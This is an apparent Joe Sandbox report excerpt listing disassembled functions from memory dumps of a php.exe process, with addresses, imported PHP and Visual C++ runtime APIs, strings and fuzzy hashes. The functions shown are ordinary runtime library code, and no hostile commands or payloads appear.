Instruction Fuzzy Hash: 8A915173B08B91CAE7108BA6E4402BD77B2FB45BA8F1441A7EA4D17765DF38D195CB00

Function 00007FFE1A52BF40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C1E0

Strings

volatile, xrefs: 00007FFE1A52BFB6, 00007FFE1A52C0E7
volatile , xrefs: 00007FFE1A52BFA7, 00007FFE1A52C0D8
std::nullptr_t, xrefs: 00007FFE1A52C199
std::nullptr_t , xrefs: 00007FFE1A52C170

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: a4b8fa5738cb077c0dd1c715c93faa489c025e3a231d02453c6ff42b09dc2204
Instruction ID: b4c99bdb4f7ebec0067521fdc6a5edbcdfb0de8cfc15ef3ebd6dc14d00f801f3
Opcode Fuzzy Hash: a4b8fa5738cb077c0dd1c715c93faa489c025e3a231d02453c6ff42b09dc2204
Instruction Fuzzy Hash: A4715A62B0CE42C4E7148FA699410BC66A2BF46BA4F4445F7DA4D53ABADF3CE650C340

Function 00007FFE1A5238D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

EncodePointer.KERNEL32 ref: 00007FFE1A52391C
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE1A52396B
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A523AE3

Strings

MOC, xrefs: 00007FFE1A523930
RCC, xrefs: 00007FFE1A523939

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 57666f04986205aaeb6cec4485343161f235cd4bd3cca67b34c3d672c94bd25f
Instruction ID: f60efc0db9846398ae0b28a6e43da25778c964d5608fe55783c36d48a5481544
Opcode Fuzzy Hash: 57666f04986205aaeb6cec4485343161f235cd4bd3cca67b34c3d672c94bd25f
Instruction Fuzzy Hash: 00613C72B08B45CAE7108FA6E4803BD77A1F746BA8F0442A7DA4917BA9CF38E155C700

Function 00007FFE1A52A360 Relevance: 7.6, APIs: 5, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE1A52A3D9
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A3FB
DName::DName.LIBVCRUNTIME ref: 00007FFE1A52A40A
DName::DName.LIBVCRUNTIME ref: 00007FFE1A52A441
DName::DName.LIBVCRUNTIME ref: 00007FFE1A52A44C

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: NameName::$Name::operator+
String ID:
API String ID: 826178784-0
Opcode ID: 1d3f62f49c0834609423dd0bd46333a683c0de2f358683d99f687fb4e9606eea
Instruction ID: 781bbf3c6cf86e0a4caa9bdde03cfcc455807735a30b5793dd08c8bf293225ee
Opcode Fuzzy Hash: 1d3f62f49c0834609423dd0bd46333a683c0de2f358683d99f687fb4e9606eea
Instruction Fuzzy Hash: F3416C22B0CF96D4E710CBA2E8900B827A5BB56FA4F5440F7DA4D537A5DF38E405C350

Function 00007FF7498C4610 Relevance: 7.6, APIs: 5, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF7498C4656
_emalloc@@8.PHP8TS ref: 00007FF7498C46AF
memmove.VCRUNTIME140 ref: 00007FF7498C46E7
add_assoc_stringl_ex.PHP8TS ref: 00007FF7498C471A
_efree@@8.PHP8TS ref: 00007FF7498C472C

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _efree@@8_emalloc@@8add_assoc_stringl_exmemmovestrchr
String ID:
API String ID: 2071373115-0
Opcode ID: 975caf1fdecc1cffee16fb9dd9b39aa3add76241824c16fb696f2ae4871633f8
Instruction ID: 83fcae9e1cd7ed2c5a34d2f387ef7c37604f23e830ceda2eb821e73489e557d4
Opcode Fuzzy Hash: 975caf1fdecc1cffee16fb9dd9b39aa3add76241824c16fb696f2ae4871633f8
Instruction Fuzzy Hash: B231922261DB85C5EB10BF2994047A8A3B9FB45B94F888531EE6E07798DF3CE492C310

Function 00007FF7498C1400 Relevance: 7.6, APIs: 5, Instructions: 68fileCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C146D
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C148B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C149C
ferror.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C14A5
php_handle_aborted_connection.PHP8TS ref: 00007FF7498C14DB

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$ferrorfwritephp_handle_aborted_connection
String ID:
API String ID: 912128676-0
Opcode ID: e4b30dbfb457f3f8cd7680fee289e1c88f01ee9ff9a35c9d6d3c961190337abb
Instruction ID: f61f86ce5ec62708f174af2491d94597bdf69cf151deb04a8da79cba7141c79f
Opcode Fuzzy Hash: e4b30dbfb457f3f8cd7680fee289e1c88f01ee9ff9a35c9d6d3c961190337abb
Instruction Fuzzy Hash: 3B215C65B0DB42C1EA50BF1AE884679E375AF49FE0F884135DE5E07BA4DF2CE4648720

Function 00007FF7498C6F00 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

zend_string_tolower_ex@@16.PHP8TS(?,?,?,?,?,00007FF7498C70C2,?,?,?,00007FF7498CB84F), ref: 00007FF7498C6F31
zend_hash_add@@24.PHP8TS(?,?,?,?,?,00007FF7498C70C2,?,?,?,00007FF7498CB84F), ref: 00007FF7498C6F49
zend_hash_add@@24.PHP8TS(?,?,?,?,?,00007FF7498C70C2,?,?,?,00007FF7498CB84F), ref: 00007FF7498C6F5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF7498C70C2,?,?,?,00007FF7498CB84F), ref: 00007FF7498C6F73
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF7498C70C2,?,?,?,00007FF7498CB84F), ref: 00007FF7498C6F88

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: freezend_hash_add@@24$zend_string_tolower_ex@@16
String ID:
API String ID: 2958139939-0
Opcode ID: 1a3cc41a375369cc1e6bbb0b8ef8fa0d64bcbaac8a0b2044f46f0e2bb321514e
Instruction ID: 03848e358998bed740dadbb7f9e6d4ed4124a58b00d9a9ca03abe4e1ef1d5398
Opcode Fuzzy Hash: 1a3cc41a375369cc1e6bbb0b8ef8fa0d64bcbaac8a0b2044f46f0e2bb321514e
Instruction Fuzzy Hash: 69114C72909B82C2DB50AF29E44426DB3B5FB88B68F548231CB5C477A4DF3CD426C710

Function 00007FFE1A524288 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A524407

Strings

csm, xrefs: 00007FFE1A524441
, xrefs: 00007FFE1A524358
csm, xrefs: 00007FFE1A5242D7

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abort
String ID: $csm$csm
API String ID: 4206212132-1512788406
Opcode ID: 041b58f3de5196c69b124c2ba61789f4a272a12b531fce9fd61be4661d159c18
Instruction ID: e131e47c3105762f402f4c8cca640c0007f02f04ee89c16096f28950b2bf471c
Opcode Fuzzy Hash: 041b58f3de5196c69b124c2ba61789f4a272a12b531fce9fd61be4661d159c18
Instruction Fuzzy Hash: 76719132B0CA91C6DB248B66D0406797BB2FB46FA8F1481B7DB4D07AA6CE3CD491C741

Function 00007FFE1A524060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A524157
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFE1A524167

Strings

csm, xrefs: 00007FFE1A5241B9
csm, xrefs: 00007FFE1A5240AA

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Frameabort$EmptyHandler3::StateUnwind
String ID: csm$csm
API String ID: 4108983575-3733052814
Opcode ID: d96c539858820a31a9c1340fe1861477bc26c032fcc487563b75466d3052f7d1
Instruction ID: 01f00cbdd2e96c5dc22835de0b2a9b11443cb755bb93816485c8e30e3db2c61c
Opcode Fuzzy Hash: d96c539858820a31a9c1340fe1861477bc26c032fcc487563b75466d3052f7d1
Instruction Fuzzy Hash: 67514336A0CB81C6EB648B9394442787AB1FB56FA5F1441B7DA5D47BA6CF3CE450C700

Function 00007FFE1A52F040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE1A52F100
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FFE1A52EE05), ref: 00007FFE1A52F14F

Strings

csm, xrefs: 00007FFE1A52F0E6
f, xrefs: 00007FFE1A52F07E

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind
String ID: csm$f
API String ID: 451473138-629598281
Opcode ID: 85b5fcb7b97597723a806be8e626fa0e1197ae9fcad6cd090af730aec85bac0a
Instruction ID: 51cf67a508c0f687b9c14d61e04168c8aa5cf26da446a82609360518e5b4d4ff
Opcode Fuzzy Hash: 85b5fcb7b97597723a806be8e626fa0e1197ae9fcad6cd090af730aec85bac0a
Instruction Fuzzy Hash: CC519036B0DA02C6DB14CB52F844A7937A6FB42FA4F5081B7E91A47798DF38E859C700

Function 00007FFE1A52AAF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE1A52AB52

Strings

%lf, xrefs: 00007FFE1A52AB8D, 00007FFE1A52ABC1, 00007FFE1A52ABF1

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: 5a7c290a84f6e8b1167a4a77f7bfc329acb267dd37a995d028402671466fb2be
Instruction ID: 8362a7af393aecc0a07014876546a2d089af3210276f0f3ef990b6dd0a1baf68
Opcode Fuzzy Hash: 5a7c290a84f6e8b1167a4a77f7bfc329acb267dd37a995d028402671466fb2be
Instruction Fuzzy Hash: 3E318461B0CF8685E621DB63A8500BA7352BF96F90F4442F7EA5E57761DF3CE1458700

Function 00007FFE1A522630 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A52266E

Strings

csm, xrefs: 00007FFE1A522650
MOC, xrefs: 00007FFE1A522648
RCC, xrefs: 00007FFE1A522640

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: e63037d86fd6ed08c01758bd2d278b6a49b1453d2f75febe4acf0c3d16fc865e
Instruction ID: dc8e78d18b2e4cf3d7c002367786d40bbaf32d30f400703c050a486d2138a6e8
Opcode Fuzzy Hash: e63037d86fd6ed08c01758bd2d278b6a49b1453d2f75febe4acf0c3d16fc865e
Instruction Fuzzy Hash: 55F03C37A1CA46C1E7505BA2A18107C3675EB8DFA4F0951F3DB4806666CF3CE4A4CA41

Function 00007FF7498C18B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140 ref: 00007FF7498C18B9
printf.MSPDB140-MSVCRT ref: 00007FF7498C18F4

Strings

php, xrefs: 00007FF7498C18C9
Usage: %s [options] [-f] <file> [--] [args...] %s [options] -r <code> [--] [args...] %s [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...] %s [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...] %s [options] -S <ad, xrefs: 00007FF7498C18D5

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: printfstrrchr
String ID: Usage: %s [options] [-f] <file> [--] [args...] %s [options] -r <code> [--] [args...] %s [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...] %s [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...] %s [options] -S <ad$php
API String ID: 1948539113-3325242880
Opcode ID: 121f1cea1782dd17d47504f1a1cfa68651a3f2e98723527b3cbf87a56b3da223
Instruction ID: 15236bd518b9051dc2922ad88d2ff811ede795c27163041bb308c0b454066df2
Opcode Fuzzy Hash: 121f1cea1782dd17d47504f1a1cfa68651a3f2e98723527b3cbf87a56b3da223
Instruction Fuzzy Hash: 96E0ED61A1EB46C5E590BF04A880665A2FCFB58780F901534D68E52755EF3CD1219720

Function 00007FF7498C1750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C175E
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C1771

Part of subcall function 00007FF7498C1010: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C1047

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C177B

Strings

%s, xrefs: 00007FF7498C1767

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$__stdio_common_vfprintffprintf
String ID: %s
API String ID: 3544570504-620797490
Opcode ID: 02c8263383356b5036572501dc626c23b4efe45565c7bb5f8470967f07cbeff2
Instruction ID: 904fe2e683834915079829bea417f8747ee9ce4c920cd2669744fa913285864a
Opcode Fuzzy Hash: 02c8263383356b5036572501dc626c23b4efe45565c7bb5f8470967f07cbeff2
Instruction Fuzzy Hash: 2CD01250E0D712C2E6047F99A855274D278DB48B90F440438DA1E07366EE1CA0649220

Function 00007FFE1A52A078 Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C83D
Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C876
Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CBA2

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A1D3
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A232
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A264
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A274

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: f8e503547d28693e7c2caa01b602f421454b5c59d39c80ab22d5e562bf931295
Instruction ID: 0c3941092b7332e8d5d4d7ade30f44fb22a37499f3cfb054176c9c2f45d3c1dc
Opcode Fuzzy Hash: f8e503547d28693e7c2caa01b602f421454b5c59d39c80ab22d5e562bf931295
Instruction Fuzzy Hash: 29913922F0CE92C9F7118BA6E8403BC37A2BB56B68F5440F7DA4D176A5DF39A845C350

Function 00007FFE1A52A834 Relevance: 6.1, APIs: 4, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE1A52A8E6
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A8F6
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A913

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 096c067aeb964192ba966c7c35baf04cde4b320096b69fd5cc1f53e0d293a66c
Instruction ID: bc425d24d77947bec742568cfd786106ad2db2a1c2416e6d6604cc63ed54d391
Opcode Fuzzy Hash: 096c067aeb964192ba966c7c35baf04cde4b320096b69fd5cc1f53e0d293a66c
Instruction Fuzzy Hash: 16512472B1CE9689E7118FA2E8807BC37A2BB46F64F5484F7DA0D176A5DF39A440C710

Function 00007FFE1A52CC64 Relevance: 6.1, APIs: 4, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE1A52E728: Replicator::operator[].LIBVCRUNTIME ref: 00007FFE1A52E782

Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C83D
Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C876
Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CBA2

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CCE2
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CCF1
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CD6E
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CD7D

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID:
API String ID: 3863519203-0
Opcode ID: 208b778abe9c40dc360d596873b711c1b4c9531dde43fa8ad9a0283702b0b82e
Instruction ID: 95b470a8b523420ee0c4f83bda82cae0377226a75a92a909027bdaf2b6576669
Opcode Fuzzy Hash: 208b778abe9c40dc360d596873b711c1b4c9531dde43fa8ad9a0283702b0b82e
Instruction Fuzzy Hash: 14418872B08B85C9EB01CFA5D8403BC3BA1BB49BA8F5484B7CA4D5776ADF789441C750

Function 00007FF7498C7EF0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

zend_stream_init_filename.PHP8TS ref: 00007FF7498C7F6B
__intrinsic_setjmp.VCRUNTIME140 ref: 00007FF7498C7FA9
php_execute_script.PHP8TS ref: 00007FF7498C7FB7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C7FDC

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __intrinsic_setjmpphp_execute_scriptzend_destroy_file_handlezend_stream_init_filename
String ID:
API String ID: 2175118776-0
